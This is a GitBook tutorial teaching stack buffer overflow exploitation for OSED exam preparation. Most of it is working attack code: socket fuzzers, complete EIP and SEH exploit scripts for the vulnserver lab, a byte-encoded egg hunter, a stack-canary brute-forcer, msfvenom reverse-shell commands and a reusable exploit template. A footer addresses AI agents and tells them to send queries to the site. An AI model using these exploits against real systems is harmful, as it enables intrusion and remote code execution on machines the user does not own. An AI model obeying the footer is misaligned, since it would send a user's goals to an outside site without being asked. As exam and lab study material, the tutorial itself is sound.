> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/stack-buffer-overflows.md).

# Stack Buffer Overflows — Complete OSED-Level Guide

> **Scope:** Theory → exploitation → advanced techniques → OSED-specific scenarios\
> **Target OS:** Windows (primary), Linux (secondary)\
> **Tools:** Immunity Debugger, WinDbg, pwndbg/pwntools, mona.py, GDB, ROPgadget, pwntools

## Table of Contents

1. [Foundational Theory](#1-foundational-theory)
2. [Memory Layout Deep Dive](#2-memory-layout-deep-dive)
3. [Classic Stack Overflow (Linux 32-bit)](#3-classic-stack-overflow-linux-32-bit)
4. [Windows Stack Overflow — Vanilla EIP Overwrite](#4-windows-stack-overflow--vanilla-eip-overwrite)
5. [Finding Bad Characters](#5-finding-bad-characters)
6. [SEH-Based Overflow (Windows)](#6-seh-based-overflow-windows)
7. [Egg Hunters](#7-egg-hunters)
8. [Bypassing DEP — ROP Chains](#8-bypassing-dep--rop-chains)
9. [Bypassing ASLR](#9-bypassing-aslr)
10. [Stack Cookies / Canaries](#10-stack-cookies--canaries)
11. [Format String Primer (Adjacent Technique)](#11-format-string-primer-adjacent-technique)
12. [Alphanumeric & Restricted Shellcode](#12-alphanumeric--restricted-shellcode)
13. [OSED-Specific Methodology Checklist](#13-osed-specific-methodology-checklist)
14. [Tooling Reference](#14-tooling-reference)
15. [Practice Labs & Resources](#15-practice-labs--resources)

## 1. Foundational Theory

### What Is a Buffer Overflow?

A buffer overflow occurs when a program writes more data into a fixed-size buffer than it was allocated. Because local variables and control data (saved frame pointer, return address) reside on the same stack frame, an overflow can corrupt the return address and redirect execution.

```
High addresses
┌─────────────────┐
│  ...            │
│  Return Address │  ← EIP/RIP restores here on `ret`
│  Saved EBP/RBP  │
│  Local Var 2    │
│  Local Var 1    │
│  Buffer [256B]  │  ← strcpy / recv / gets writes here
│  ...            │
Low addresses
```

When you write 260 bytes into a 256-byte buffer, the last 4 bytes overwrite the saved return address.

### Calling Convention Refresher (x86 cdecl)

```
caller:
    push arg2
    push arg1
    call func        ; pushes EIP+len, jumps to func

callee prologue:
    push ebp
    mov  ebp, esp
    sub  esp, N      ; allocate local vars

callee epilogue:
    mov  esp, ebp
    pop  ebp
    ret              ; pops return address into EIP
```

### Stack Layout of a Vulnerable Function

```c
void vuln(char *input) {
    char buf[128];        // [ebp-0x88] → [ebp-0x08]
    int  local = 0;       // [ebp-0x04]
                          // [ebp+0x00] = saved EBP
                          // [ebp+0x04] = return address
    strcpy(buf, input);   // UNSAFE: no bounds check
}
```

Offsets from the start of `buf`:

* `0x00–0x7F` → buf (128 bytes)
* `0x80–0x83` → local int
* `0x84–0x87` → saved EBP
* `0x88–0x8B` → **return address** ← target

## 2. Memory Layout Deep Dive

### Segment Overview

\| Segment | Purpose | Permissions | |||-| | `.text` | Executable code | r-x | | `.data` | Initialized globals | rw- | | `.bss` | Uninit globals | rw- | | Heap | `malloc()`/`new` | rw- | | Stack | Locals, frames | rw- |

### Stack Frame Anatomy (32-bit Windows)

```
┌──────────────────────────────────┐ ← High
│ Calling function's frame         │
├──────────────────────────────────┤
│ Function arguments (pushed by caller) │
├──────────────────────────────────┤
│ Return address (EIP saved)       │ ← Overwrite target for vanilla BOF
├──────────────────────────────────┤
│ Saved EBP                        │
├──────────────────────────────────┤
│ Local variables                  │
│ [buf starts here ↓]              │
├──────────────────────────────────┤ ← Low (ESP points here)
```

### EXCEPTION\_REGISTRATION on Windows

Windows uses a Structured Exception Handler (SEH) chain stored on the stack:

```
┌──────────────────────────────────┐
│ nSEH (next SEH record ptr)       │ ← [esp+0]  when handler called
│ SEH handler pointer              │ ← [esp+4]  = target for SEH overwrite
├──────────────────────────────────┤
│ ... (more SEH records toward high)│
└──────────────────────────────────┘
```

When an exception fires, Windows walks the chain. Overwriting the SEH handler pointer redirects execution.

## 3. Classic Stack Overflow (Linux 32-bit)

### Vulnerable Program

```c
// vuln.c  (compile: gcc -m32 -fno-stack-protector -z execstack -o vuln vuln.c)
#include <stdio.h>
#include <string.h>

void vuln(char *arg) {
    char buf[128];
    strcpy(buf, arg);
    printf("Input: %s\n", buf);
}

int main(int argc, char **argv) {
    vuln(argv[1]);
    return 0;
}
```

### Step 1 — Find the Offset

```python
# generate_pattern.py
import subprocess, struct

# Cyclic pattern (De Bruijn sequence)
def cyclic(n):
    from itertools import product
    import string
    charset = string.ascii_lowercase
    out = []
    for combo in product(charset, repeat=4):
        out.append(''.join(combo))
        if len(out) * 4 >= n:
            break
    return ''.join(''.join(x) for x in product(charset, repeat=4))[:n]

print(cyclic(200))
```

```bash
# Or use pwntools:
python3 -c "from pwn import *; print(cyclic(200))" | xargs ./vuln
# GDB shows EIP = 0x6161616e  → cyclic_find(0x6161616e) = 140 (offset)
```

### Step 2 — Confirm Offset

```python
from pwn import *

offset = 140
payload = b"A" * offset + b"B" * 4  # B's should land in EIP
p = process(["./vuln", payload])
p.wait()
```

### Step 3 — Find a JMP / CALL ESP (if ASLR/NX off)

```bash
# ROPgadget
ROPgadget --binary ./vuln --rop | grep "jmp esp"
# objdump
objdump -d ./vuln | grep -A1 "ff e4"   # ff e4 = JMP ESP
```

### Step 4 — Build Exploit

```python
from pwn import *

OFFSET  = 140
JMP_ESP = 0x08048xxx   # address of JMP ESP in libc/binary

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f py
shellcode = (
    b"\xdb\xc0\xd9\x74\x24\xf4\x5a..."  # truncated
)

nop_sled = b"\x90" * 16

payload  = b"A" * OFFSET
payload += p32(JMP_ESP)
payload += nop_sled
payload += shellcode

p = process(["./vuln", payload])
p.interactive()
```

## 4. Windows Stack Overflow — Vanilla EIP Overwrite

This is the core OSED workflow. Every step matters.

### Step 1 — Crash & Confirm

Send a large buffer to trigger a crash. Use Immunity Debugger + mona.py.

```python
# fuzzer.py  (socket-based fuzzer)
import socket, time

ip   = "192.168.x.x"
port = 9999

buf = b"OVERFLOW "
buf += b"A" * 100

s = socket.socket()
s.connect((ip, port))
print(s.recv(1024))

while True:
    try:
        s.send(buf + b"\r\n")
        print(f"[*] Sent {len(buf)} bytes")
        time.sleep(1)
        buf += b"A" * 100
    except Exception as e:
        print(f"[!] Crashed at {len(buf)} bytes")
        break
```

### Step 2 — Create Unique Pattern

```bash
# mona in Immunity:
!mona pattern_create 2000
# OR
msf-pattern_create -l 2000
```

Send the pattern. Note EIP value in Immunity, then:

```bash
!mona pattern_offset -e 41326341   # EIP value
# [+] Exact match at offset 1978
```

### Step 3 — Control EIP

```python
offset = 1978
payload  = b"A" * offset
payload += b"B" * 4   # EIP
payload += b"C" * 400 # space after EIP
```

Confirm EIP = `42424242` and ESP points into `C`s.

### Step 4 — Find Bad Characters

```python
# Generate all bytes \x01-\xff
badchars = bytes(range(1, 256))

payload  = b"A" * offset
payload += b"B" * 4
payload += badchars
```

In Immunity:

```
!mona bytearray -b "\x00"
!mona compare -f C:\mona\bytearray.bin -a <ESP address>
```

Mark each bad character found. Repeat without them until `Unmodified`.

### Step 5 — Find JMP ESP

```
!mona jmp -r esp -cpb "\x00\x0a\x0d"
```

Requirements for the JMP ESP address:

* No bad characters in the address
* Module must lack ASLR + Rebase (`!mona modules`)
* Preferably from the application itself (not OS DLLs for portability)

### Step 6 — Generate Shellcode

```bash
msfvenom -p windows/shell_reverse_tcp \
    LHOST=192.168.x.x LPORT=4444 \
    -b "\x00\x0a\x0d" \
    -e x86/shikata_ga_nai \
    -f py -v shellcode
```

### Step 7 — Final Exploit

```python
import socket, struct

ip   = "192.168.x.x"
port = 9999

offset   = 1978
jmp_esp  = struct.pack("<I", 0x625011AF)   # no bad chars, no ASLR module
nop_sled = b"\x90" * 16

shellcode = (
    b"\xba\x7e\x8c\x18\x5c\xdb\xc2..."    # msfvenom output
)

payload  = b"OVERFLOW "
payload += b"A" * offset
payload += jmp_esp
payload += nop_sled
payload += shellcode

s = socket.socket()
s.connect((ip, port))
s.recv(1024)
s.send(payload + b"\r\n")
s.close()
```

## 5. Finding Bad Characters

Bad characters corrupt the payload in transit (nulls, newlines, carriage returns) or during processing. Missing even one means shellcode won't execute.

### Systematic Method

```python
# bad_char_gen.py
all_chars = bytes(range(0x01, 0x100))   # \x00 almost always bad

def generate_payload(bad_list):
    return bytes(b for b in range(0x01, 0x100) if b not in bad_list)
```

### mona.py Workflow

```
# Step 1: baseline (exclude \x00)
!mona bytearray -b "\x00"

# Step 2: send payload, compare
!mona compare -f C:\mona\bytearray.bin -a 0x<ESP>

# Step 3: if it says "corrupted at \x0a", add \x0a to exclusion
!mona bytearray -b "\x00\x0a"

# Repeat until "Unmodified"
```

### Common Bad Characters by Protocol

\| Context | Typical Bad Chars | ||| | HTTP GET | `\x00 \x0a \x0d \x20` | | FTP | `\x00 \x0a \x0d` | | SMTP | `\x00 \x0a \x0d` | | Raw TCP | `\x00` (sometimes) |

## 6. SEH-Based Overflow (Windows)

Used when vanilla EIP overwrite doesn't work due to stack cookies or when the crash is caught by an exception handler.

### SEH Chain Layout on Stack

```
offset + 0:  [nSEH] 4 bytes  → next SEH record
offset + 4:  [SEH]  4 bytes  → pointer to exception handler  ← OVERWRITE THIS
```

When an exception fires:

1. Windows calls the SEH handler
2. At that moment, ESP+8 points to the EXCEPTION\_REGISTRATION record
3. `[esp+8]` = address of nSEH field

### Exploit Strategy

```
nSEH = \xeb\x06\x90\x90   # short JMP +6 (jump over SEH to shellcode)
SEH  = addr of POP POP RET  # pivots to nSEH
```

Why POP POP RET?

* ESP at handler entry points into exception registration record
* Two POPs advance ESP past error info to point at our nSEH
* RET pops nSEH → jumps to short JMP → lands in shellcode

### Finding POP POP RET

```
!mona seh -cpb "\x00\x0a\x0d"
```

Or manually:

```
!mona seh
# look for:  POP r32 / POP r32 / RETN
# in a module without SafeSEH, ASLR, Rebase
```

### Full SEH Exploit Structure

```python
import socket, struct

ip      = "192.168.x.x"
port    = 9999
offset  = 3495          # offset to nSEH

nSEH    = b"\xeb\x06\x90\x90"                  # short JMP +6
SEH     = struct.pack("<I", 0x6250172b)          # POP POP RET (no ASLR)
nop     = b"\x90" * 16
shell   = b"\xba..."                             # shellcode

payload  = b"A" * offset
payload += nSEH
payload += SEH
payload += nop
payload += shell

s = socket.socket()
s.connect((ip, port))
s.recv(1024)
s.send(payload + b"\r\n")
```

### SafeSEH Bypass

SafeSEH validates SEH handlers against a list of registered handlers. Bypass options:

* Use a module **not compiled with SafeSEH** (third-party DLL)
* Use a gadget from `.text` of a module not in the safe list (rare)
* Use heap-based or other non-SEH technique

```
!mona modules
# Look for: SafeSEH=False
```

## 7. Egg Hunters

Used when available buffer space near EIP/SEH is too small for shellcode. An egg hunter is a tiny stub (\~32 bytes) that searches virtual memory for a tag (`w00tw00t`) prefixed to your actual shellcode somewhere else in memory.

### How It Works

1. Send egg hunter (\~32 bytes) as the near-buffer payload
2. Send actual shellcode preceded by `w00tw00t` (8 bytes = tag × 2) in a different, larger buffer
3. Egg hunter scans VA space searching for the double tag
4. On find: jumps to shellcode

### NtAccessCheckAndAuditAlarm Egg Hunter (Windows x86)

```asm
; 32-byte egg hunter
; tag = "w00t" × 2 = 0x74303077 repeated
loop_inc_page:
    or cx, 0xfff            ; round to page boundary
loop_inc_one:
    inc ecx
    push byte 0x02
    pop eax
    lea edx, [ecx+0x04]
    int 0x2e                ; NtAccessCheckAndAuditAlarm syscall
    cmp al, 0x05            ; ACCESS_VIOLATION?
    jz loop_inc_page        ; skip unreadable page
    mov eax, 0x74303077     ; "w00t"
    mov edi, ecx
    scasd                   ; compare EAX with [EDI], inc EDI
    jnz loop_inc_one
    scasd                   ; check second tag
    jnz loop_inc_one
    jmp edi                 ; found! jump to shellcode
```

Assembled bytes (32 bytes):

```python
egg_hunter = (
    b"\x66\x81\xca\xff\x0f\x42\x52\x6a"
    b"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
    b"\xef\xb8\x77\x30\x30\x74\x8b\xfa"
    b"\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)
tag = b"w00tw00t"
```

### Exploit Structure with Egg Hunter

```python
import socket

# Buffer 1: small buffer near crash → egg hunter
# Buffer 2: large buffer (different request/field) → tag + shellcode

tag      = b"w00tw00t"
egg_hunter = b"\x66\x81\xca\xff\x0f\x42..."  # 32 bytes

# msfvenom -p windows/shell_reverse_tcp ... -f py
shellcode = b"\xba..."

# Send large buffer first (stored in heap/bss)
s = socket.socket()
s.connect((ip, port))
s.send(b"STORE " + tag + shellcode + b"\r\n")
s.recv(1024)

# Send overflow triggering egg hunter
payload  = b"A" * offset
payload += jmp_esp
payload += egg_hunter
s.send(b"OVERFLOW " + payload + b"\r\n")
```

## 8. Bypassing DEP — ROP Chains

Data Execution Prevention (DEP/NX) marks the stack non-executable. Shellcode on the stack will trigger an access violation. Return-Oriented Programming (ROP) chains together existing executable gadgets (ending in `RET`) to perform arbitrary computation — including calling `VirtualProtect` to make the stack executable.

### Core Concept

A ROP gadget is a sequence of instructions ending in `RET`:

```asm
pop eax
ret             ; gadget: load EAX from stack
```

By placing gadget addresses + data on the stack, you control the CPU entirely via `RET` chains.

### Strategy: VirtualProtect ROP Chain

Goal: call `VirtualProtect(lpAddress, dwSize, PAGE_EXECUTE_READWRITE, lpflOldProtect)`

```
VirtualProtect parameters:
  lpAddress         = stack pointer (ESP at time of call)
  dwSize            = 0x201 (enough space for shellcode)
  flNewProtect      = 0x40 (PAGE_EXECUTE_READWRITE)
  lpflOldProtect    = writable address (don't care)
```

### Building the Chain with mona.py

```
# In Immunity:
!mona rop -m "msvcrt,kernel32" -cpb "\x00\x0a\x0d"
!mona ropfunc -cpb "\x00\x0a\x0d"
```

mona generates `rop_chains.txt` with a skeleton. Typical skeleton:

```python
def create_rop_chain():
    # [skeleton from mona — edited for your target]
    rop_gadgets = [
        0x77e4b4f8,  # POP EAX   # RET
        0x625011a9,  # addr of VirtualProtect
        0x77e4b4f9,  # MOV EAX,[EAX] ; RET  (deref to get VA)
        # ... many more gadgets ...
    ]
    return b''.join(struct.pack('<I', g) for g in rop_gadgets)
```

### Key Gadget Types

\| Purpose | Gadget Example | ||| | Load constant | `POP EAX ; RET` | | Dereference | `MOV EAX, [EAX] ; RET` | | Copy register | `MOV EBX, EAX ; RET` | | Arithmetic | `ADD EAX, 0x10 ; RET` | | Stack pivot | `XCHG ESP, EAX ; RET` | | Store | `MOV [EBX], EAX ; RET` | | Negate | `NEG EAX ; RET` |

### Example: Manually Setting Up VirtualProtect Args

```python
import struct

def p32(x): return struct.pack("<I", x)

# Gadget addresses (from mona output, module without ASLR)
POP_EAX_RET     = p32(0x77e4b4f8)
POP_EBX_RET     = p32(0x77e1d5de)
POP_ECX_RET     = p32(0x77e5d682)
POP_EDX_RET     = p32(0x77e4b4f0)
MOV_DEREF_RET   = p32(0x77e1c988)   # MOV EAX,[EAX]; RET
PUSHAD_RET      = p32(0x77e1c12a)   # PUSHAD; RET
VPROTECT_PTR    = p32(0x77e1c000)   # .got.plt or IAT pointer to VirtualProtect
WRITABLE        = p32(0x6250a140)   # any writable .data address

rop  = b""
rop += POP_EAX_RET
rop += VPROTECT_PTR
rop += MOV_DEREF_RET        # EAX = &VirtualProtect
# ... (full chain depends on target; mona does the heavy lifting)
```

### Stack Pivot

Sometimes EIP is controlled but ESP doesn't point into your buffer. A stack pivot corrects this:

```asm
XCHG EAX, ESP    ; ESP = EAX (which points to ROP chain)
RET              ; begin chain
```

Common pivot gadgets:

* `XCHG ESP, EAX ; RET`
* `ADD ESP, 0x?? ; RET`
* `MOV ESP, EBP ; POP EBP ; RET` (if EBP is controlled)

## 9. Bypassing ASLR

ASLR randomizes base addresses of the stack, heap, and modules at each boot/load.

### Bypass Techniques

#### 1. Non-ASLR Module

Many third-party applications ship DLLs compiled without ASLR. Use gadgets/JMP ESP from these.

```
!mona modules
# Look for: ASLR=False  and  Rebase=False
```

#### 2. Partial Overwrite (Stack ASLR)

On 32-bit Windows, ASLR only randomizes the upper bytes. If you can partially overwrite only the low 2 bytes of a return address, you can target offsets within the same page.

```python
# Only overwrite last 2 bytes of EIP
payload = b"A" * offset + b"\xXX\xXX"   # keep high bytes intact
```

#### 3. Info Leak

Use a separate vulnerability (format string, read overflow, UAF) to leak a module base address, then calculate gadget addresses at runtime.

```python
# Example with format string leak
leak = b"%11$x"   # leak stack/heap/text pointer
# parse response → compute base → adjust gadgets
```

#### 4. Heap Spraying (combined with NOP sled)

Spray large amounts of NOP+shellcode on the heap. With enough coverage, a partially-randomized jump lands somewhere in your spray.

```python
# 1MB of NOP sled + shellcode repeated
nop_sled  = b"\x90" * 0x200
shellcode = b"\xba..."
chunk     = nop_sled + shellcode
heap_spray = chunk * (0x100000 // len(chunk))
```

#### 5. JIT Spraying (advanced)

In interpreted runtimes (browsers, PDF readers), JIT-compiled code lands at predictable offsets within randomized ranges. Not common in OSED but good to know.

## 10. Stack Cookies / Canaries

Stack cookies (GS cookies on Windows, canaries on Linux) are random values placed between local variables and the saved return address. They're verified on function return; mismatch → terminate.

### Bypass Techniques

#### 1. Overwrite Only Pointers (Before Cookie)

If there are function pointers or object vtable pointers in locals before the cookie, overwrite those instead.

```
[buf][local_fn_ptr][cookie][saved_EBP][ret]
      ↑ overwrite this only
```

#### 2. Brute Force (32-bit Linux)

On fork-based servers, the child inherits the parent's cookie. Brute-force 1 byte at a time (256 attempts per byte × 4 bytes = 1024 attempts max).

```python
import socket

def probe(ip, port, payload):
    try:
        s = socket.socket()
        s.connect((ip, port))
        s.send(payload)
        data = s.recv(1024)
        s.close()
        return b"Welcome" in data   # server still alive
    except:
        return False

cookie = b""
for byte_pos in range(4):
    for candidate in range(256):
        test = b"A" * offset + cookie + bytes([candidate])
        if probe(ip, port, test):
            cookie += bytes([candidate])
            print(f"[+] Byte {byte_pos}: {candidate:#04x}")
            break
```

#### 3. Info Leak → Cookie Steal

Same as ASLR info leak — read the cookie value from memory with a separate vulnerability, include it in your payload.

```python
# Read 4 bytes at cookie address via format string or OOB read
leaked_cookie = struct.unpack("<I", leak_data[offset:offset+4])[0]

payload  = b"A" * buf_offset
payload += struct.pack("<I", leaked_cookie)   # correct cookie
payload += b"B" * 4                           # overwrite saved EBP
payload += jmp_esp_addr                       # overwrite ret
payload += shellcode
```

#### 4. SEH Overwrite (Cookie Doesn't Protect SEH)

On Windows, stack cookies protect the return address but NOT the SEH chain (which is also on the stack). Switch to SEH-based exploitation.

## 11. Format String Primer (Adjacent Technique)

Not a buffer overflow per se, but commonly chained with overflows for leaks. Covered in OSED adjacently.

### Vulnerability

```c
printf(user_input);           // UNSAFE: user controls format string
printf("%s", user_input);     // SAFE
```

### Reading from the Stack

```python
# Each %x reads 4 bytes from the stack
payload = b"%x " * 20        # dump 20 stack words
payload = b"%11$x"           # directly read 11th stack argument
```

### Writing with %n

`%n` writes the number of bytes printed so far into the pointed-to integer.

```python
# Write 0x41424344 to address 0xbfffef10
import struct

target = 0xbfffef10
addr   = struct.pack("<I", target)

# Write in 2-byte chunks (short writes with %hn) to avoid huge padding
hi = 0x4142       # high word
lo = 0x4344       # low word

# ... (complex offset calculation) → use pwntools fmtstr_payload()
from pwn import fmtstr_payload
payload = fmtstr_payload(6, {target: 0x41424344})
```

## 12. Alphanumeric & Restricted Shellcode

Some filters only allow printable ASCII characters (0x20–0x7E). Standard shellcode won't pass.

### msfvenom Encoder

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=... LPORT=4444 \
    -e x86/alpha_mixed \
    -f py \
    BufferRegister=ESP   # tells encoder that ESP points to shellcode start
```

### Manual Alphanumeric Encoding Tricks

Only these opcodes have alphanumeric encodings:

* `AND EAX, 0x...` → `\x25`
* `SUB EAX, 0x...` → `\x2d`
* `PUSH EAX` → `\x50`
* `POP EAX` → `\x58`
* `XOR EAX, EAX` via: `\x25\x01\x01\x01\x01` + `\x25\x7e\x7e\x7e\x7e`

Zero EAX:

```python
# AND EAX, 0x01010101  AND EAX, 0x7e7e7e7e  → EAX = 0
b"\x25\x01\x01\x01\x01"
b"\x25\x7e\x7e\x7e\x7e"
```

### Venetian Shellcode (x86 Unicode-safe)

Some targets promote ASCII to Unicode (every byte becomes a word). Use the `x86/unicode_mixed` encoder:

```bash
msfvenom -p windows/shell_reverse_tcp ... -e x86/unicode_mixed BufferRegister=EAX -f py
```

## 13. OSED-Specific Methodology Checklist

### Phase 1: Reconnaissance

* [ ] Identify the application name, version, protocol
* [ ] Find existing PoC / CVEs (don't start blind)
* [ ] Check which modules load (`!mona modules`)
* [ ] Note module protections: ASLR, DEP, SafeSEH, Rebase, CFG
* [ ] Identify the protocol: raw TCP, HTTP, FTP, custom binary

### Phase 2: Fuzzing

* [ ] Write a spike/fuzzer for each field in the protocol
* [ ] Use boofuzz or a manual length-incrementing fuzzer
* [ ] Watch for: crash, hang, connection refused, partial response
* [ ] Note approximate crash length

### Phase 3: Offset Discovery

* [ ] Create unique pattern: `!mona pattern_create <len>`
* [ ] Send pattern, note EIP / SEH value
* [ ] `!mona pattern_offset -e <value>`
* [ ] Confirm with `A * offset + BBBB + CCCC...`

### Phase 4: Bad Character Analysis

* [ ] Send `\x01–\xff` after EIP, compare with `!mona compare`
* [ ] Remove each bad char and repeat until "Unmodified"
* [ ] Document complete bad character list

### Phase 5: Control Flow Hijack

**Vanilla EIP:**

* [ ] `!mona jmp -r esp -cpb "<bad chars>"`
* [ ] Verify module: ASLR=False, Rebase=False
* [ ] No bad characters in the JMP ESP address

**SEH:**

* [ ] `!mona seh -cpb "<bad chars>"`
* [ ] Verify: SafeSEH=False for the module
* [ ] Craft nSEH = `\xeb\x06\x90\x90`

**Egg Hunter (small buffer):**

* [ ] Confirm where larger buffers land in memory
* [ ] Place `tag + shellcode` in larger buffer
* [ ] Place egg hunter in short buffer

### Phase 6: Shellcode

* [ ] Generate with msfvenom excluding bad chars
* [ ] Add NOP sled (`\x90 * 16`) before shellcode
* [ ] Start listener: `nc -lvnp 4444`

### Phase 7: ROP (if DEP enabled)

* [ ] `!mona rop -m "<modules>" -cpb "<bad chars>"`
* [ ] Review `rop_chains.txt`
* [ ] Target: `VirtualProtect` or `VirtualAlloc` + jump to shellcode
* [ ] Test chain with `WriteProcessMemory` as fallback

### Phase 8: Reliability

* [ ] Test on fresh VM (reboot between attempts)
* [ ] Check for race conditions (add sleep if needed)
* [ ] Verify shellcode survives encoding/transport
* [ ] Test at exact target OS patch level

## 14. Tooling Reference

### Immunity Debugger + mona.py

```
# Setup
!mona config -set workingfolder C:\mona\%p

# Essential commands
!mona modules                          # list modules + protections
!mona pattern_create 2000              # cyclic pattern
!mona pattern_offset -e <EIP value>   # find offset
!mona bytearray -b "\x00"             # generate comparison array
!mona compare -f <path> -a <addr>     # find bad chars
!mona jmp -r esp -cpb "\x00\x0a"     # find JMP ESP
!mona seh -cpb "\x00\x0a"            # find POP POP RET
!mona rop -m "module" -cpb "\x00"    # generate ROP chain
!mona egg -t w00t                     # generate egg hunter
```

### WinDbg

```
# Attach
windbg -p <PID>

# Useful commands
g                                      # go
bp 0x<addr>                           # set breakpoint
!address esp                          # memory info
dd esp L4                             # dump 4 dwords at ESP
u <addr>                              # disassemble
.formats <value>                      # show value in all formats
!exploitable                          # crash analysis plugin
```

### GDB / pwndbg (Linux)

```bash
gdb ./vuln
r $(python3 -c "print('A'*200)")
info registers
x/20xw $esp
x/i $eip

# pwndbg extras
cyclic 200
cyclic -l 0x6161616e     # find offset from pattern
checksec                  # show protections
vmmap                     # show memory map
```

### pwntools (Python)

```python
from pwn import *

# Context
context.arch   = 'i386'     # or 'amd64'
context.os     = 'linux'
context.log_level = 'debug'

# Pattern
pattern = cyclic(200)
offset  = cyclic_find(0x6161616e)

# Pack
p32(0xdeadbeef)    # little-endian 32-bit
p64(0xdeadbeef)    # little-endian 64-bit

# Process / Remote
p = process('./vuln')
p = remote('192.168.x.x', 9999)

# Interactions
p.send(payload)
p.sendline(payload)
p.recv(1024)
p.interactive()

# ROP
elf  = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
rop  = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh\x00'))])
```

### ROPgadget

```bash
ROPgadget --binary ./vuln --rop
ROPgadget --binary ./vuln --string "/bin/sh"
ROPgadget --binary kernel32.dll --rop | grep "pop eax"
ROPgadget --binary ntdll.dll --multibr    # multi-branch gadgets
```

### msfvenom Quick Reference

```bash
# List payloads
msfvenom -l payloads | grep windows/shell

# Windows reverse shell (x86)
msfvenom -p windows/shell_reverse_tcp \
    LHOST=192.168.x.x LPORT=4444 \
    -b "\x00\x0a\x0d" \
    -f py -v shellcode

# Linux reverse shell (x86)
msfvenom -p linux/x86/shell_reverse_tcp \
    LHOST=127.0.0.1 LPORT=4444 \
    -b "\x00" -f py -v shellcode

# Alphanumeric (Windows)
msfvenom -p windows/shell_reverse_tcp \
    LHOST=... LPORT=4444 \
    -e x86/alpha_mixed \
    BufferRegister=ESP \
    -f py -v shellcode

# Stageless (no stager needed)
msfvenom -p windows/shell_reverse_tcp ...   # always stageless
# Staged = windows/meterpreter/reverse_tcp
```

## 15. Practice Labs & Resources

### Vulnerable Applications (Windows)

\| App | Type | Notes | |--||-| | Vulnserver | Raw TCP | 11 different overflow types | | brainpan | SEH + ROP | OSED-style | | SLMail 5.5 | POP3 | Classic OSCE/OSED target | | Easy RM to MP3 | File format | SEH overflow | | Kolibri HTTP | HTTP | Vanilla EIP | | FreeFloat FTP | FTP | SEH |

### Downloading Vulnserver

```bash
git clone https://github.com/stephenbradshaw/vulnserver
# Run on Windows target: vulnserver.exe 9999
# Commands: OVERFLOW, TRUN, GMON, GTER, HTER, LTER, KSTAN, GDOG, KSTET, SRUN, STATS
```

### Exploit Development Platforms

* **TryHackMe** — Buffer Overflow Prep, Brainhpan
* **HackTheBox** — Buff, Scrambled (Windows BOFs)
* **VulnHub** — Brainpan 1/2/3, Exploit.Education Phoenix
* **PentesterLab** — Stack Overflow exercises

### Key Books

* *The Shellcoder's Handbook* (Anley et al.)
* *Hacking: The Art of Exploitation* (Erickson)
* *Windows Internals* (Russinovich) — for deep OS understanding
* OSED course materials (OffSec EXP-301)

### References

* <https://github.com/corelan/mona> — mona.py documentation
* <https://ropemporium.com> — ROP chain practice (Linux/Windows)
* <https://exploit.education> — Phoenix (Linux exploitation levels)
* <https://github.com/stephenbradshaw/vulnserver> — vulnserver source

## Quick Reference: Exploit Template (Windows TCP)

```python
#!/usr/bin/env python3
"""
Target  : ApplicationName vX.X.X
Protocol: TCP
Port    : 9999
Vuln    : Stack Buffer Overflow via [COMMAND] handler
Type    : [Vanilla EIP | SEH | SEH+Egg Hunter | ROP]
OS      : Windows XP SP3 / Windows 7 SP1 x86
Author  : [you]
"""

import socket
import struct
import sys

# ── Target ────────────────────────────────────────────────────────────────────
IP   = "192.168.x.x"
PORT = 9999

# ── Offsets ───────────────────────────────────────────────────────────────────
OFFSET  = 1978          # bytes to EIP/nSEH

# ── Gadgets ───────────────────────────────────────────────────────────────────
# !mona jmp -r esp -cpb "\x00\x0a\x0d"
JMP_ESP = struct.pack("<I", 0x625011AF)

# ── Shellcode ─────────────────────────────────────────────────────────────────
# msfvenom -p windows/shell_reverse_tcp LHOST=... LPORT=4444 -b "\x00\x0a\x0d" -f py
shellcode = (
    b"\xba\x7e\x8c\x18\x5c\xdb\xc2\xd9\x74\x24\xf4"
    # ... add full shellcode here ...
)

# ── Build Payload ─────────────────────────────────────────────────────────────
padding   = b"A" * OFFSET
nop_sled  = b"\x90" * 16

payload   = b"OVERFLOW "
payload  += padding
payload  += JMP_ESP
payload  += nop_sled
payload  += shellcode
payload  += b"\r\n"

# ── Send ──────────────────────────────────────────────────────────────────────
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect((IP, PORT))
    banner = s.recv(1024)
    print(f"[*] Banner: {banner.decode(errors='replace').strip()}")
    print(f"[*] Sending {len(payload)} bytes...")
    s.send(payload)
    s.close()
    print("[+] Payload sent. Check listener.")
except Exception as e:
    print(f"[-] Error: {e}")
    sys.exit(1)
```

*Last updated for OSED EXP-301 exam methodology. Always practice on systems you own or have written permission to test.*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/stack-buffer-overflows.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
